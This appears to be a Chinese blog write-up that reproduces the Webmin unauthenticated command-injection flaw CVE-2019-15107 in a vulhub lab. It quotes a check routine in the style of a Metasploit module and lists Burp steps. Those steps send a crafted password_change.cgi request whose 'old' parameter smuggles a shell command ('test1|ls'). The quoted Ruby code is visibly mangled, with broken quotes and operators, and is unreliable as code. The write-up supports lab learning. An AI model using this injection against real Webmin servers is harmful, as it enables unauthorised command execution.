Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现

前言:

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

影响版本

Webmin  <= 1.920

漏洞代码

def peer
"#{ss1 ? 'https:// : ' http://' }#{rhost}:#{rport}" 
end

# Target and input verification
##

def check
# check passwd change privres = send_ request_ cgi(
{
    'uri' => normalize_ uri(target_ uri. path, " password_ change.cgi"),
    ' headers' =>
        {
            ' Referer’=>”#{peer}/session_ login.cgi"
        },
' cookie' =>" redirect=1; testing=1; sid=x; sessiontest=1"
})

if res & res.code == 200 && res.body =n /Failed/

res = send_ request_ cgi(
{
    'method' =>'POST',
    'cookie' => " redirect=1; testing=1; sid=x; sessiontest=1",
    'ctype' => " application/ X-WWW- form- urlencoded ',
    'uri' => normalize_ uri(target_ uri.path, ' password_ change.cgi' ),
    ” headers' =>
        {
            'Referer' => "#{peer}/session_ login.cgi"
        },
    'data' => "user=root&pam=&expired=2&old=AkkuS%7 cdir%20&new1=akkuss&new2=akkuss"
})

审计完代码后,我们知道:

1.res = send_ request_ cgi()里面的东西就是数据包的内容,把抓取的数据包添加或修改对应得内容就可以了。

2.数据包user参数有一个默认用户root,只有参数user!=root的时候才会进入到修改/etc/shadow的地方,触发命令注入漏洞。

进入靶机:

无账号无密码登陆,用burp抓包

扫描二维码关注公众号,回复: 8704861 查看本文章

第一步,修改路径 session_ login.cgi 为 password_ change.cgi

第二步,修改Cookie为 Cookie: redirect=1; testing=1;sid=x; sessiontest=1

第三步,修改参数 user=jammny&pam=&expired=2&old=test1|ls&new1=test2&new2=test2

 

END

以前看到后台直接测试弱口令,现在知道了不只是弱口令,还有其他办法可以绕过登陆验证。多观察多学习多积累,加油。

发布了17 篇原创文章 · 获赞 43 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_41832837/article/details/104010133
今日推荐